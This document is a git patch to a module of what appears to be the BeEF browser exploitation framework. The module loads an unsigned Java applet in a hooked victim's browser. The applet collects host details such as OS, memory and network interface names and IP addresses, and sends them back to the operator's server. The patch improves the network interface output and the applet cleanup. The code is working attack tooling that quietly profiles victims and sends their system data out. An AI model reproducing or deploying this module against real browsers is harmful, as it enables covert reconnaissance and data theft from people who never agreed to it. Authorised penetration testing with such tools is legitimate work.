From f9ba59c17d43962c43de4c6018697b9ccfedb079 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 2 Nov 2011 15:16:54 +0000 Subject: [PATCH] GetSystemInfo command module: improved description, network interfaces output and usage of JS api git-svn-id: https://beef.googlecode.com/svn/trunk@1392 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- modules/host/get_system_info/command.js | 9 +++++---- modules/host/get_system_info/config.yaml | 4 ++-- .../host/get_system_info/getSystemInfo.class | Bin 4100 -> 4349 bytes .../host/get_system_info/getSystemInfo.java | 15 ++++++++++++--- modules/host/get_system_info/module.rb | 2 +- 5 files changed, 20 insertions(+), 10 deletions(-) diff --git a/modules/host/get_system_info/command.js b/modules/host/get_system_info/command.js index c701cafaa..f017b91b5 100644 --- a/modules/host/get_system_info/command.js +++ b/modules/host/get_system_info/command.js @@ -22,21 +22,22 @@ beef.execute(function() { if (beef.browser.isFF()) { output = document.getSystemInfo.getInfo(); - if (output) beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"
")); + if (output) beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"
")); + beef.dom.detachApplet('getSystemInfo'); } else { function waituntilok() { try { output = document.getSystemInfo.getInfo(); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"
")); - $j('#getSystemInfo').detach(); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"
")); + beef.dom.detachApplet('getSystemInfo'); return; } catch (e) { internal_counter++; if (internal_counter > 30) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info=Timeout after 20 seconds'); - $j('#getSystemInfo').detach(); + beef.dom.detachApplet('getSystemInfo'); return; } setTimeout(function() {waituntilok()},1000); diff --git a/modules/host/get_system_info/config.yaml b/modules/host/get_system_info/config.yaml index 5a9a52748..b3136d9c1 100644 --- a/modules/host/get_system_info/config.yaml +++ b/modules/host/get_system_info/config.yaml @@ -19,8 +19,8 @@ beef: enable: true category: "Host" name: "Get System Info (Java)" - description: "Retrieves basic information about the host system (such as the number of processors, amount of memory, screen display modes, operating system details, Java installation details and network interface names) using an unsigned Java applet.

Chrome users will be prompted to run the applet." - authors: ["bcoles"] + description: "Retrieves basic information about the host system, using an unsigned Java Applet:
" + authors: ["bcoles", "antisnatchor"] target: working: ["O", "FF", "S", "IE"] user_notify: ["C"] diff --git a/modules/host/get_system_info/getSystemInfo.class b/modules/host/get_system_info/getSystemInfo.class index 028f9a399fb9e066506ee73573f9cf65d11a30c0..448d6565bdb664e4bbd70959a874a48aafc2d23f 100644 GIT binary patch delta 1230 zcmY+ETToS17{`C>>~q+Q?H+QJw2L!s#xBa`g$Ey)rU?fcQ9;cz47(g)V06*hYtQ`u|L;2M+iS1A#T&~> z4UO;G0~B(?;c{vH*>SYE!=8cTa3C*v(;f6w`=Y&e5d9v!*^@$ zF?_G)KF$4_?V1N1g6#(iS7;vBJfZ2*Jn68Erwlx;dB*Uwn&%uA^ZYbkpxeL>o1Mnf zqj}NrO9pyv`ZO=w^xNzT7O1LO12Uq#44YSMcH8W+c~uI7$JF`OO0Eco)p^!lUJH(^ zxpQ83d4qi}gY36?)8#GRRw&1a${;^fVhu4IBtp3b2VCCaU6;MQr#SPnxbJ(7eq&R- z!<$##k@OSui#(SRhE2x%!BFVjj1L%ATo`m(=cG<$*2n6a9NCh~hkT@%UgFn9TN{$z z${J}GGYt-M$mX!i$5gs}!ly2u@wvkG%A0EaBG2XvmoM2bTWojvYC=fW5hF6H>yzH4 zVts9_$RaFC_!5^^+CSOpzt3q(0Hy5bcPQ|+8;oY$2enG*lk-<7WJ;;f}pL(2m{>yk4@tub5~&5U@0i-Vn6 z1F2?f8!gtO#H}t8RyRqjpH^!h>#ZZSSx4!xPO{M&rBiA*S>vR_GvuPKmJTUqr^!Rv zTy3B#JI!1|Vug*lCN1}V(h^)_b4^-K;J@T?3T&>mOSw+{N$WyWf71Ma43$jMRzrVN cWpn))t8Aho3jbo}D4~gbIh1PIM~Iq#04IDl;Q#;t delta 1051 zcmYk5TW}Ob6o$Xv&Zaw)E@Nq^LbS?BVW9>ogwoQAca0VSf+9wZD6mN;vLxAs*~wL9 zRS<7zfbm^lG~ykDiAxlM#v6(k6czA(_r+H!N?5zu6xvhu|L5=iPxm=JGe>LI`}sY` zcI*V^@~6l3tk9$sEgq5;4q7#B9s%tR?(|qmTC>WnbSOGCU2Z<3$tLr~($K8-SVQPM zIZfmY-A?pqdY$Og^m`0&m*#Gd#sTi}SWDhb-Rq+JH1~U~W4-19#~U;cI(|s=u;WKG zk7_n*9@9MTF~}y(X3Z8&tT&I(z1ZVvo^ddwdDih(&2t{}dA^btc+tU2ikCI7xXBL9 zHpQ!o;rJS{^wjOPE8D-~HN}WxRPlPeU7RIvU~zm%oGAwctXN(!%;7!9$b}7aU zyLn3>JQp;@mnQ1v+f2mk61B75F}%xrh63*krd$^Wf!`H$Wy5~|oRWPdd|?_N-^?F?_^c!O8VOd#bxL@|U#Q?J{nIkNHILso^u4 z4Ey-p@CEw?%5TiJ1$DmSOT$;}vL*HzzCIqpr z@e}fr@Soru%A_{x?C1>Pxi2(bRvO S>5d~@c-&)qUuKU^u>4<)Mgr0R diff --git a/modules/host/get_system_info/getSystemInfo.java b/modules/host/get_system_info/getSystemInfo.java index 4830eb12a..e6f0f06f4 100644 --- a/modules/host/get_system_info/getSystemInfo.java +++ b/modules/host/get_system_info/getSystemInfo.java @@ -105,12 +105,21 @@ public class getSystemInfo extends Applet { // System.out.println("Host Address: " + InetAddress.getLocalHost().getHostAddress()); result += "Host Address: " + java.net.InetAddress.getLocalHost().getHostAddress()+"\n"; // System.out.println("Network Interfaces:"); - result += "Network Interfaces:\n"; + result += "Network Interfaces (interface, name, IP):\n"; Enumeration networkInterfaces = NetworkInterface.getNetworkInterfaces(); while (networkInterfaces.hasMoreElements()) { NetworkInterface networkInterface = (NetworkInterface) networkInterfaces.nextElement(); - //System.out.println("\t"+networkInterface.toString()); - result += "\t"+networkInterface.toString()+"\n"; + result += networkInterface.getName() + ", "; + result += networkInterface.getDisplayName()+ ", "; + Enumeration inetAddresses = (networkInterface.getInetAddresses()); + if(inetAddresses.hasMoreElements()){ + while (inetAddresses.hasMoreElements()) { + InetAddress inetAddress = (InetAddress)inetAddresses.nextElement(); + result +=inetAddress.getHostAddress() + "\n"; + } + }else{ + result += "\n"; // in case we can't retrieve the address of some network interfaces + } } } catch (Exception exception) { diff --git a/modules/host/get_system_info/module.rb b/modules/host/get_system_info/module.rb index aad8ad7aa..f8f8bf28a 100644 --- a/modules/host/get_system_info/module.rb +++ b/modules/host/get_system_info/module.rb @@ -24,7 +24,7 @@ class Get_system_info < BeEF::Core::Command content['result'] = @datastore['system_info'] if not @datastore['system_info'].nil? content['fail'] = 'No data was returned.' if content.empty? save content - BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/getSystemInfo.class'); + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/getSystemInfo.class') end end